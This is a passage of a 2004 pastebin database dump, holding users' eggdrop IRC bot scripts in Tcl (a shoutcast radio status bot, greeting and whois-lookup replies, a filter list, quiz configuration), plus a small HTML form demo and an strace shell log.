uhost hand chan arg } { global radiochans; if {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { sclastsongs $nick }}\r\n\r\n\r\n\r\nproc scstream { target } {\r\nglobal streamip streamport streamtext\r\nputlog "shoutcast: streaminfo requested by $target"\r\nputserv "notice $target :$streamtext"\r\n}\r\n\r\nproc msg_stream { nick uhost hand arg } { global radiochans; scstream $nick }\r\nproc pub_stream { nick uhost hand chan arg } { global radiochans; if {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { scstream $nick }}\r\n\r\nproc scgreet { nick arg } {\r\nif {$arg == ""} { putserv "notice $nick :you forgot to add your greetmessage"; return 0}\r\nglobal dj streamip streamport streampass\r\nputlog "shoutcast: $nick greets fly out to: $arg"\r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0 } else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset streamstatus [string range $bl [shrink + 14 "<STREAMSTATUS>" 0 $bl] [shrink - 1 "</STREAMSTATUS>" 0 $bl]]\r\n}}\r\nif { $streamstatus == "1" } { \r\nset temp [open "djnick" r]\r\nset djnick [gets $temp]\r\nclose $temp\r\nputserv "privmsg $djnick :(GREET) - $nick - $arg"\r\n} else {\r\nputserv "notice $nick :sorry radio is currently offline" }\r\n}}\r\n\r\n\r\nproc msg_greet { nick uhost hand arg } { global radiochans; scgreet $nick $arg }\r\nproc pub_greet { nick uhost hand chan arg } { global radiochans; if {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { scgreet $nick $arg }}\r\n\r\nproc msg_setdj { nick uhost hand arg } { global radiochans; setdj $nick $arg }\r\nproc pub_setdj { nick uhost hand chan arg } { global radiochans; if {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { setdj $nick $arg }}\r\n\r\n\r\n\r\nproc djnickchange { oldnick uhost hand chan newnick } {\r\nset temp [open "djnick" r]\r\nset djnick [gets $temp]\r\nclose $temp\r\nif {$oldnick == $djnick} {\r\nputlog "shoutcast: dj nickchange $oldnick -> $newnick"\r\nset temp [open "djnick" w+]\r\nputs $temp $newnick\r\nclose $temp\r\n}}\r\n\r\n\r\n\r\n\r\n\r\nproc dj { target } {\r\nglobal streamip streamport streampass\r\nputlog "shoutcast: $target asked for dj info" \r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0 } else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset streamstatus [string range $bl [shrink + 14 "<STREAMSTATUS>" 0 $bl] [shrink - 1 "</STREAMSTATUS>" 0 $bl]]\r\n}}\r\nif {$streamstatus == 1} {\r\nif {[file exists dj]} {\r\nset temp [open "dj" r]\r\nset dj [gets $temp]\r\nclose $temp\r\nputserv "notice $target :$dj is at the turntables!"\r\n} else { putserv "notice $target :sorry, no dj name available" }\r\n} else {\r\nputserv "notice $target :sorry radio is currently offline"\r\n}\r\nclose $sock\r\n}}\r\n\r\n\r\n\r\nproc msg_dj { nick uhost hand arg } { global radiochans; dj $nick"}\r\nproc pub_dj { nick uhost hand chan arg } { global radiochans; if {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { dj $nick  }}\r\n\r\n\r\n\r\nproc scstat {target} {\r\nglobal streamip streamport streampass\r\nputlog "shoutcast: $target asked for serverstats"\r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0 } else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset streamstatus [string range $bl [shrink + 14 "<STREAMSTATUS>" 0 $bl] [shrink - 1 "</STREAMSTATUS>" 0 $bl]]\r\nset repl [string range $bl [shrink + 19 "<REPORTEDLISTENERS>" 0 $bl] [shrink - 1 "</REPORTEDLISTENERS>" 0 $bl]]\r\nset curhigh [string range $bl [shrink + 15 "<PEAKLISTENERS>" 0 $bl] [shrink - 1 "</PEAKLISTENERS>" 0 $bl]]\r\nset currentl [string range $bl [shrink + 18 "<CURRENTLISTENERS>" 0 $bl] [shrink - 1 "</CURRENTLISTENERS>" 0 $bl]]\r\nset surl [string range $bl [shrink + 11 "<SERVERURL>" 0 $bl] [shrink - 1 "</SERVERURL>" 0 $bl]]\r\nset maxl [string range $bl [shrink + 14 "<MAXLISTENERS>" 0 $bl] [shrink - 1 "</MAXLISTENERS>" 0 $bl]]\r\nset bitrate [string range $bl [shrink + 9 "<BITRATE>" 0 $bl] [shrink - 1 "</BITRATE>" 0 $bl]]\r\nset stitle [string range $bl [shrink + 13 "<SERVERTITLE>" 0 $bl] [shrink - 1 "</SERVERTITLE>" 0 $bl]]\r\nset sgenre [string range $bl [shrink + 13 "<SERVERGENRE>" 0 $bl] [shrink - 1 "</SERVERGENRE>" 0 $bl]]\r\nif {$sgenre != ""} {set sgenre " ($sgenre)"}\r\nset avgtime [string range $bl [shrink + 13 "<AVERAGETIME>" 0 $bl] [shrink - 1 "</AVERAGETIME>" 0 $bl]]\r\nset irc [string range $bl [shrink + 5 "<IRC>" 0 $bl] [shrink - 1 "</IRC>" 0 $bl]]\r\nset icq [string range $bl [shrink + 5 "<ICQ>" 0 $bl] [shrink - 1 "</ICQ>" 0 $bl]]\r\nif {$icq == 0} { set icq "N/A" }\r\nset aim [string range $bl [shrink + 5 "<AIM>" 0 $bl] [shrink - 1 "</AIM>" 0 $bl]]\r\nset webhits [string range $bl [shrink + 9 "<WEBHITS>" 0 $bl] [shrink - 1 "</WEBHITS>" 0 $bl]]\r\nset streamhits [string range $bl [shrink + 12 "<STREAMHITS>" 0 $bl] [shrink - 1 "</STREAMHITS>" 0 $bl]]\r\nset version [string range $bl [shrink + 9 "<VERSION>" 0 $bl] [shrink - 1 "</VERSION>" 0 $bl]]\r\nif {$streamstatus == 1} {\r\nif {[file exists dj]} {\r\nset temp [open "dj" r]\r\nset dj [gets $temp]\r\nclose $temp\r\n} else { set dj "none" }\r\nputserv "notice $target :$stitle$sgenre is online, running shoutcast $version and streaming at $bitrate kbps,  your dj is $dj. please visit $surl"\r\n} else {\r\nputserv "notice $target :$stitle$sgenre is currenty offline, running shoutcast $version and streaming at $bitrate kbps, check out $surl" }\r\nputserv "notice $target :there are currently $repl unique people listening, the listener maximum is $maxl, our user peak was at $curhigh listeners."\r\nputserv "notice $target :the average user is listening $avgtime seconds, our stream had $webhits webhits and $streamhits streamhits."\r\nputserv "notice $target :you can contact the team by irc on $irc, via aim at $aim and with icq by the uin $icq."\r\n}}\r\nclose $sock\r\n}}\r\n\r\n\r\nproc msg_scstat { nick uhost hand arg } { global radiochans; scstat $nick}\r\nproc pub_scstat { nick uhost hand chan arg } { global radiochans; if {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { scstat $nick  }}\r\n\r\n\r\nproc playing {target} {\r\nglobal streamip streamport streampass\r\nputlog "shoutcast: $target asked for current song"\r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0 } else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset streamstatus [string range $bl [shrink + 14 "<STREAMSTATUS>" 0 $bl] [shrink - 1 "</STREAMSTATUS>" 0 $bl]]\r\nset songtitle [string range $bl [shrink + 11 "<SONGTITLE" 0 $bl] [shrink - 1 "</SONGTITLE>" 0 $bl]]\r\nset songurl [string range $bl [shrink + 9 "<SONGURL>" 0 $bl] [shrink - 1 "</SONGURL>" 0 $bl]]\r\nif {$songurl != ""} { set songurl " ($songurl)"}\r\nregsub -all "&#x3C;" $songtitle "<" songtitle\r\nregsub -all "&#x3E;" $songtitle ">" songtitle\r\nregsub -all "&#x26;" $songtitle "+" songtitle  \r\nregsub -all "&#x22;" $songtitle "\\"" songtitle\r\nregsub -all "&#x27;" $songtitle "''" songtitle\r\nregsub -all "&#xFF;" $songtitle "" songtitle\r\nif {$streamstatus == 1} {\r\nputserv "notice $target :$songtitle"\r\n} else {\r\nputserv "notice $target :server is currently offline, sorry"\r\n}}}\r\nclose $sock\r\n}}\r\n\r\nproc msg_playing { nick uhost hand arg } { global radiochans; playing $nick}\r\nproc pub_playing { nick uhost hand chan arg } { global radiochans; if {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { playing $nick  }}\r\n\r\nproc isonline { nick uhost hand chan arg } {\r\nglobal radiochans announce tellusers tellsongs tellbitrate urltopic \r\nglobal offlinetext offlinetopic onlinetext onlinetopic\r\nglobal streamip streampass streamport\r\n\r\nif {$announce == 1 || $tellsongs == 1 || $tellusers == 1 || $tellbitrate == 1} {\r\nset isonlinefile "isonline"\r\nset oldisonline "isonline: 0"\r\nset oldcurlist "curlist: 0"\r\nset oldcurhigh "curhigh: 0"\r\nset oldsong "cursong: 0"\r\nset oldbitrate "bitrate: 0"\r\nif {[file exists $isonlinefile]} {\r\nputlog "shoutcast: checking if stream is online"\r\nset temp [open "isonline" r]\r\nwhile {[eof $temp] != 1} {\r\nset zeile [gets $temp]\r\nif {[string first "isonline:" $zeile] != -1 } { set oldisonline $zeile }\r\nif {[string first "curlist:" $zeile] != -1 } { set oldcurlist $zeile }\r\nif {[string first "curhigh:" $zeile] != -1 } { set oldcurhigh $zeile }\r\nif {[string first "cursong:" $zeile] != -1 } { set oldsong $zeile }\r\nif {[string first "bitrate:" $zeile] != -1 } { set oldbitrate $zeile }\r\n}\r\nclose $temp\r\n}\r\n\r\n\r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0} else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset streamstatus "isonline: [string range $bl [shrink + 14 "<STREAMSTATUS>" 0 $bl] [shrink - 1 "</STREAMSTATUS>" 0 $bl]]"\r\nset repl "curlist: [string range $bl [shrink + 19 "<REPORTEDLISTENERS>" 0 $bl] [shrink - 1 "</REPORTEDLISTENERS>" 0 $bl]]"\r\nset curhigh "curhigh: [string range $bl [shrink + 15 "<PEAKLISTENERS>" 0 $bl] [shrink - 1 "</PEAKLISTENERS>" 0 $bl]]"\r\nset currentl [string range $bl [shrink + 18 "<CURRENTLISTENERS>" 0 $bl] [shrink - 1 "</CURRENTLISTENERS>" 0 $bl]]\r\nset surl "serverurl: [string range $bl [shrink + 11 "<SERVERURL>" 0 $bl] [shrink - 1 "</SERVERURL>" 0 $bl]]"\r\nset cursong "cursong: [string range $bl [shrink + 11 "<SONGTITLE" 0 $bl] [shrink - 1 "</SONGTITLE>" 0 $bl]]"\r\nset songurl [string range $bl [shrink + 9 "<SONGURL>" 0 $bl] [shrink - 1 "</SONGURL>" 0 $bl]]\r\nset bitrate "bitrate: [string range $bl [shrink + 9 "<BITRATE>" 0 $bl] [shrink - 1 "</BITRATE>" 0 $bl]]"\r\nset stitle [string range $bl [shrink + 13 "<SERVERTITLE>" 0 $bl] [shrink - 1 "</SERVERTITLE>" 0 $bl]]\r\nset sgenre [string range $bl [shrink + 13 "<SERVERGENRE>" 0 $bl] [shrink - 1 "</SERVERGENRE>" 0 $bl]]\r\n}}\r\nclose $sock\r\n}\r\n\r\nset temp [open "isonline" w+]\r\nputs $temp "$streamstatus\\n$repl\\n$curhigh\\n$cursong\\n$bitrate"\r\nclose $temp\r\nif {$announce == 1 } {\r\nif {$streamstatus == "isonline: 0" && $oldisonline == "isonline: 1"} {\r\npoststuff privmsg $offlinetext\r\nif {$urltopic == 1} { poststuff topic $offlinetopic }\r\n}\r\nif {$streamstatus == "isonline: 1" && $oldisonline == "isonline: 0" } {\r\nif {$sgenre != ""} {\r\nset sgenre " ($sgenre)"\r\n}\r\npoststuff privmsg "$stitle$sgenre now online @ http://[lindex $surl 1]/listen.pls with [lindex $bitrate 1]kbits $onlinetext"\r\nif {$urltopic == 1} { poststuff topic "$stitle @ http://[lindex $surl 1]/listen.pls streaming at [lindex $bitrate 1]kbits $onlinetopic" }\r\n}}\r\nif {($tellusers == 1) && ($streamstatus == "isonline: 1") && ($oldcurhigh != "curhigh: 0") } {\r\nif {$oldcurhigh != $curhigh} {\r\npoststuff privmsg "new listener peak: [lindex $curhigh 1]"\r\n}\r\nif {$oldcurlist != $repl} {\r\npoststuff privmsg "there are currently [lindex $repl 1] ($currentl) people listening"\r\n}}\r\nif {($tellsongs == 1) && ($oldsong != $cursong) && ($streamstatus == "isonline: 1") } {\r\nif {$songurl != ""} { set songurl " ($songurl)"}\r\nregsub -all "&#x3C;" $cursong "<" cursong\r\nregsub -all "&#x3E;" $cursong ">" cursong\r\nregsub -all "&#x26;" $cursong "+" cursong  \r\nregsub -all "&#x22;" $cursong "\\"" cursong\r\nregsub -all "&#x27;" $cursong "''" cursong\r\nregsub -all "&#xFF;" $cursong "" cursong\r\n#poststuff privmsg "$stitle spielt [lrange $cursong 1 [llength $cursong]]$songurl"\r\npoststuff privmsg "$stitle spielt:  [lrange $cursong 1 [llength $cursong]]"\r\n}\r\n\r\nif {($tellbitrate == 1) && ($oldbitrate != $bitrate) && ($streamstatus == "isonline: 1") && ($oldbitrate != "bitrate: 0")} {\r\npoststuff privmsg "bitrate switched to [lindex $bitrate 1]kbps"\r\n}}}\r\n\r\nputlog "*** shoutcast.tcl v1.02 by domsen <domsen@domsen.org> succesfully loaded. turn it up baby."', 0, 'tcl', 'radiobot', 'none');
INSERT INTO `pastebin` VALUES (2233, 'Khaleej', '2004-09-06 18:41:42', 'proc lrandom {L} { lindex $L [expr { int(rand()*[llength $L]) }] }\r\n\r\n#################################################\r\n####                HELLO REPLY              ####\r\n#################################################\r\n\r\nbind pubm - hello pub_hello\r\nbind pubm - hi pub_hello\r\nbind pubm - hii pub_hello\r\nbind pubm - hiii pub_hello\r\nbind pubm - hiiii pub_hello\r\nbind pubm - hiiiii pub_hello\r\nbind pubm - hiiiiii pub_hello\r\nbind pubm - howdy pub_hello\r\nbind pubm - hiya pub_hello\r\n\r\nset file "/usr/home/thuggawd/eggdrop/scripts/bottalk/hi.txt"\r\nset fid [open $file r]\r\nset ranhello [split [read $fid] \\n]\r\nclose $fid\r\n\r\nproc pub_hello {nick uhost hand chan $ranhello} {\r\nif [rand 2] {\r\nputchan $chan [string map [list <nick> $nick] [lrandom $::ranhello]]\r\n}\r\nreturn 1\r\n}\r\n\r\n#################################################\r\n####                SALAM REPLY              ####\r\n#################################################\r\n\r\nbind pubm - salam pub_salam\r\nbind pubm - saalam pub_salam\r\nbind pubm - saaalam pub_salam\r\nbind pubm - ÓáÇã pub_salam\r\nbind pubm - saaaalam pub_salam\r\nbind pubm - salaam pub_salam\r\nbind pubm - salaaam pub_salam\r\nbind pubm - salaaaam pub_salam\r\nbind pubm - saalaam pub_salam\r\n\r\nset file "/usr/home/thuggawd/eggdrop/scripts/bottalk/salam.txt"\r\nset fid [open $file r]\r\nset ransalam [split [read $fid] \\n]\r\nclose $fid\r\n\r\nproc pub_salam {nick uhost hand chan $ranhello} {\r\nif [rand 2] {\r\nputchan $chan [string map [list <nick> $nick] [lrandom $::ransalam]]\r\n}\r\nreturn 1\r\n}\r\n\r\n##################################################\r\n####                    SING!!                ####\r\n##################################################\r\n\r\nbind pubm - !sing pub_sing\r\n\r\nset file "/usr/home/thuggawd/eggdrop/scripts/bottalk/sing.txt"\r\nset fid [open $file r]\r\nset ransings [split [read $fid] \\n]\r\nclose $fid\r\n\r\nproc pub_sing {nick uhost hand chan text} {\r\nif {[llength [split $text]] == 0} {\r\nputhelp "PRIVMSG $chan :\\001ACTION [lindex $::ransings [rand [llength $::ransings]]]\\001"\r\n}\r\nreturn 1\r\n}\r\n\r\n#################################################\r\n####                mnu REPLY              ####\r\n#################################################\r\n\r\nbind pubm - mnu pub_mnu\r\nbind pubm - mno pub_mnu\r\nbind pubm - mnoo pub_mnu\r\n\r\nset file "/usr/home/thuggawd/eggdrop/scripts/bottalk/mnu.txt"\r\nset fid [open $file r]\r\nset ranmnu [split [read $fid] \\n]\r\nclose $fid\r\n\r\nproc pub_mnu {nick uhost hand chan $ranhello} {\r\nif [rand 2] {\r\nputchan $chan [string map [list <nick> $nick] [lrandom $::ranmnu]]\r\n}\r\nreturn 1\r\n}\r\n\r\n#################################################\r\n####                Lookup REPLY              ####\r\n#################################################\r\n\r\nbind pub - !lookup whois_lookup\r\n\r\nproc whois_lookup {nick uhost handle channel text} {\r\nif {[llength [split $text]] == 0} {\r\n	return\r\n}\r\nif {![regexp {^([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])$} $text]} {\r\n	putquick "PRIVMSG $channel :Invalid IP Address."\r\n	return\r\n	}\r\nset db [exec whois $text]\r\nset dblist [split $db \\n]\r\n\r\nforeach d $dblist {\r\n	if {[string match *inetnum:* $d] || [string match *netname:* $d] || [string match *descr:* $d] || [string match *country:* $d] || [string match -nocase *comment:* $d]} {\r\n		lappend f $d\r\n	}\r\n}\r\n\r\nputquick "PRIVMSG $channel :[string map {\\{ "" \\} "" "netname" "\\002netname\\002" "descr" "\\002descr\\002" "country" "\\002country\\002" "inetnum" "\\002inetnum\\002" "Comment" "\\002Comment\\002"} $f]"\r\n}\r\n', 0, 'tcl', 'to Robb', 'none');

INSERT INTO `pastebin` VALUES (2235, 'Robb', '2004-09-06 18:48:40', 'proc lrandom {L} { lindex $L [expr { int(rand()*[llength $L]) }] }\r\n\r\n#################################################\r\n####                HELLO REPLY              ####\r\n#################################################\r\n\r\nbind pubm - hello pub_hello\r\nbind pubm - hi pub_hello\r\nbind pubm - hii pub_hello\r\nbind pubm - hiii pub_hello\r\nbind pubm - hiiii pub_hello\r\nbind pubm - hiiiii pub_hello\r\nbind pubm - hiiiiii pub_hello\r\nbind pubm - howdy pub_hello\r\nbind pubm - hiya pub_hello\r\n\r\nset fileh "/usr/home/thuggawd/eggdrop/scripts/bottalk/hi.txt"\r\nset fidh [open $fileh r]\r\nset ranhello [split [read $fidh] \\n]\r\nclose $fidh\r\n\r\nproc pub_hello {nick uhost hand chan $ranhello} {\r\nif [rand 2] {\r\nputchan $chan [string map [list <nick> $nick] [lrandom $::ranhello]]\r\n}\r\nreturn 1\r\n}\r\n\r\n#################################################\r\n####                SALAM REPLY              ####\r\n#################################################\r\n\r\nbind pubm - salam pub_salam\r\nbind pubm - saalam pub_salam\r\nbind pubm - saaalam pub_salam\r\nbind pubm - ÓáÇã pub_salam\r\nbind pubm - saaaalam pub_salam\r\nbind pubm - salaam pub_salam\r\nbind pubm - salaaam pub_salam\r\nbind pubm - salaaaam pub_salam\r\nbind pubm - saalaam pub_salam\r\n\r\nset files "/usr/home/thuggawd/eggdrop/scripts/bottalk/salam.txt"\r\nset fids [open $files r]\r\nset ransalam [split [read $fids] \\n]\r\nclose $fids\r\n\r\nproc pub_salam {nick uhost hand chan $ranhello} {\r\nif [rand 2] {\r\nputchan $chan [string map [list <nick> $nick] [lrandom $::ransalam]]\r\n}\r\nreturn 1\r\n}\r\n\r\n##################################################\r\n####                    SING!!                ####\r\n##################################################\r\n\r\nbind pubm - !sing pub_sing\r\n\r\nset filesi "/usr/home/thuggawd/eggdrop/scripts/bottalk/sing.txt"\r\nset fidsi [open $filesi r]\r\nset ransings [split [read $fidsi] \\n]\r\nclose $fidsi\r\n\r\nproc pub_sing {nick uhost hand chan text} {\r\nif {[llength [split $text]] == 0} {\r\nputhelp "PRIVMSG $chan :\\001ACTION [lindex $::ransings [rand [llength $::ransings]]]\\001"\r\n}\r\nreturn 1\r\n}\r\n\r\n#################################################\r\n####                mnu REPLY              ####\r\n#################################################\r\n\r\nbind pubm - mnu pub_mnu\r\nbind pubm - mno pub_mnu\r\nbind pubm - mnoo pub_mnu\r\n\r\nset filem "/usr/home/thuggawd/eggdrop/scripts/bottalk/mnu.txt"\r\nset fidm [open $filem r]\r\nset ranmnu [split [read $fidm] \\n]\r\nclose $fidm\r\n\r\nproc pub_mnu {nick uhost hand chan $ranhello} {\r\nif [rand 2] {\r\nputchan $chan [string map [list <nick> $nick] [lrandom $::ranmnu]]\r\n}\r\nreturn 1\r\n}\r\n\r\n#################################################\r\n####                Lookup REPLY              ####\r\n#################################################\r\n\r\nbind pub - !lookup whois_lookup\r\n\r\nproc whois_lookup {nick uhost handle channel text} {\r\nif {[llength [split $text]] == 0} {\r\n	return\r\n}\r\nif {![regexp {^([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])$} $text]} {\r\n	putquick "PRIVMSG $channel :Invalid IP Address."\r\n	return\r\n	}\r\nset db [exec whois $text]\r\nset dblist [split $db \\n]\r\n\r\nforeach d $dblist {\r\n	if {[string match *inetnum:* $d] || [string match *netname:* $d] || [string match *descr:* $d] || [string match *country:* $d] || [string match -nocase *comment:* $d]} {\r\n		lappend f $d\r\n	}\r\n}\r\n\r\nputquick "PRIVMSG $channel :[string map {\\{ "" \\} "" "netname" "\\002netname\\002" "descr" "\\002descr\\002" "country" "\\002country\\002" "inetnum" "\\002inetnum\\002" "Comment" "\\002Comment\\002"} $f]"\r\n}', 0, 'none', 'none', 'none');


INSERT INTO `pastebin` VALUES (2238, 'tWiZtEr', '2004-09-07 02:23:59', 'bind pub - !addfilter proc_addfilter\r\nbind pub - !delfilter proc_addfilter\r\n\r\nproc proc_addfilter { nick uhost hand chan arg } {\r\nputlog "$nick is adding $arg to filter list"\r\nset file filterlist/filter.txt\r\nset fs [open $file a] \r\nputs $fs "$arg" \r\nclose $fs \r\n}\r\n\r\nproc proc_delfilter { nick uhost hand chan arg } {\r\nputlog "$nick is removing $arg from filter list"\r\nset file filterlist/filter.txt\r\nset fs [open $file w+]\r\nset fs [split $fs \\n]\r\nset fs [$fs delete [lsearch -exact $fs *$arg*]]\r\nputs $fs "$fs"\r\nclose $fs\r\n} \r\n', 0, 'tcl', 'dynamic filters', '#EggTCL');
INSERT INTO `pastebin` VALUES (2239, 'Joris', '2004-09-07 11:33:55', '<html>\r\n<body>\r\n\r\n<script type="text/javascript">\r\nfunction UpdateStuff(value)\r\n{\r\n  x = value;\r\n  y = 2*x + 12;\r\n\r\n  document.getElementById(''valx'').innerHTML = x;\r\n\r\n  document.getElementById(''valy'').innerHTML = y;\r\n}\r\n</script>\r\n\r\n<form>\r\n<select name="cars" onchange="UpdateStuff(this.value);">\r\n  <option value="0" selected="selected"></option>\r\n  <option value="1">1</option>\r\n  <option value="2">2</option>\r\n  <option value="3">3</option>\r\n  <option value="4">4</option>\r\n</select>\r\n</form>\r\n\r\nX: <span id="valx">0</span> <br />\r\nY: <span id="valy">0</span> <br />\r\n\r\n</body>\r\n</html>', 0, 'html', 'daan bla', 'none');
INSERT INTO `pastebin` VALUES (2240, 'Juz', '2004-09-07 23:51:19', '[root@mp:~] strace /bin/ls                       \r\n^C\r\n[root@mp:~] strace /bin/ls\r\n^C\r\n[root@mp:~] strace /bin/ls\r\n^C\r\n[root@mp:~] strace /bin/ls\r\n^C\r\n[root@mp:~] strace /bin/ls\r\n^C\r\n[root@mp:~] strace /bin/ls\r\n^C\r\n[root@mp:~] strace /bin/ls\r\n^C\r\n[root@mp:~] strace /bin/ls\r\n^C\r\n[root@mp:~] strace /bin/ls\r\nexecve(0xbfbfe878, [0xbfbfed3c], [/* 0 vars */]PIOCWSTOP: Input/output error\r\n[root@mp:~] .bash_history       .history        .login          .profile        dump.c          mysqlfast       nohup.out\r\n.cshrc          .k5login        .ncftp          dump            kernels         mysqlfast.c', 0, 'c', 'none', 'none');
INSERT INTO `pastebin` VALUES (2241, 'sux0r', '2004-09-08 03:38:01', '## This is the error message:\r\n\r\n[03:26] can''t read "quizconf(questionset)": no such element in array\r\n    while executing\r\n"mx_read_questions $quizconf(questionset)"\r\n    (file "scripts/icquiz.tcl" line 2697)\r\n    invoked from within\r\n"source scripts/icquiz.tcl"\r\n\r\n\r\n## THIS THE SCRIPT ##\r\n# system stuff\r\nvariable quizbasedir        quiz\r\nvariable datadir            $quizbasedir/quizdata\r\nvariable configfile         $quizbasedir/icquiz.rc\r\n\r\nvariable rankfile           $datadir/rank.data\r\nvariable allstarsfile       $datadir/rankallstars.data\r\nvariable userqfile          $datadir/questions.user.en\r\nvariable commentsfile       $datadir/comments.txt\r\nvariable channeltipfile     $datadir/channeltips.txt\r\nvariable channelrulesfile   $datadir/channelrules.txt\r\nvariable pricesfile         $datadir/prices.txt\r\n\r\n#\r\n# Configuration map\r\n#\r\nvariable quizconf\r\n\r\nset quizconf(quizchannel)        "#coool"\r\nset quizconf(quizloglevel)       1\r\n \r\n# several global numbers\r\nset quizconf(maxranklines)       5\r\nset quizconf(tipcycle)           5\r\nset quizconf(useractivetime)     240\r\nset quizconf(userqbufferlength)  5\r\n#set quizconf(winscore)          5530\r\n\r\n# timer delays in seconds\r\nset quizconf(askdelay)           15\r\nset quizconf(tipdelay)           30\r\n\r\n# safety features and other configs\r\nset quizconf(lastwinner_restriction)  no\r\nset quizconf(lastwinner_max_games)    3\r\nset quizconf(colorize)                yes\r\nset quizconf(monthly_allstars)        yes\r\nset quizconf(channeltips)             no\r\nset quizconf(pausemoderated)          no\r\nset quizconf(userquestions)           no\r\nset quizconf(msgwhisper)              no\r\nset quizconf(channelrules)            no\r\nset quizconf(prices)                  no\r\nset quizconf(stripumlauts)            no\r\n\r\n\r\n##\r\n###########################################################################\r\n\r\n##\r\n## stuff for the game state\r\n##\r\n# values = stopped, paused, asked, waittoask, halted\r\nvariable quizstate "halted"\r\nvariable statepaused ""\r\nvariable statemoderated ""\r\nvariable usergame 0\r\nvariable timeasked [unixtime]\r\nvariable revoltmax 0\r\n# values = newgame, stop, halt, exit\r\nvariable aftergame "newgame"\r\nvariable channeltips ""\r\nvariable channelrules ""\r\nvariable prices ""\r\n\r\n#\r\n# variables for the ranks and user handling\r\n#\r\nvariable timerankreset [unixtime]\r\nvariable userlist\r\nvariable allstarsarray\r\nvariable revoltlist ""\r\nvariable lastsolver ""\r\nvariable lastsolvercount 0\r\nvariable lastwinner ""\r\nvariable lastwinnercount 0\r\nvariable allstars_starttime 0\r\n\r\n#\r\n# stuff for the question\r\n#\r\nvariable tiplist ""\r\nvariable theq\r\nvariable qnumber 0\r\nvariable qnum_thisgame 0\r\nvariable userqnumber 0\r\nvariable tipno 0\r\nvariable qlist ""\r\nvariable qlistorder ""\r\nvariable userqlist ""\r\n\r\n#\r\n# doesn''t fit elsewhere\r\n#\r\nvariable whisperprefix "NOTICE"\r\n\r\n##################################################\r\n## bindings\r\n\r\n# userquest and other user (public) commands\r\nbind pubm - * tmcquiz_pubm\r\nbind pub - !play tmcquiz_ask\r\nbind pub - !stop tmcquiz_stops\r\nbind pub n !exit tmcquiz_exit\r\nbind msg f !userquest tmcquiz_userquest\r\nbind msg - !usercancel tmcquiz_usercancel\r\nbind msg - !usersolve tmcquiz_usersolve\r\nbind pub - !help tmcquiz_pub_help\r\nbind pub - !score tmcquiz_pub_score\r\nbind pub - !Top10 tmcquiz_pub_rank\r\n\r\n# Some events the bot reacts on\r\n#bind nick - * tmcquiz_on_nickchanged\r\n#bind join - * tmcquiz_on_joined\r\n# bind mode - "*m" tmcquiz_on_moderated\r\nbind evnt - prerehash mx_event\r\nbind evnt - rehash mx_event\r\n\r\n## DEBUG\r\nbind dcc n !colors tmcquiz_colors\r\n\r\n#selamat\r\n#  ucapan selamat\r\nset tgcongrats [list "Congratulations" "Nicely done!" "Nice going" "There you go" "You got it" "Wow!!" "Nice job" "Did your mom tell you that?"]\r\n\r\n#  ucapan kalo gak ada yg bisa jawab\r\nset 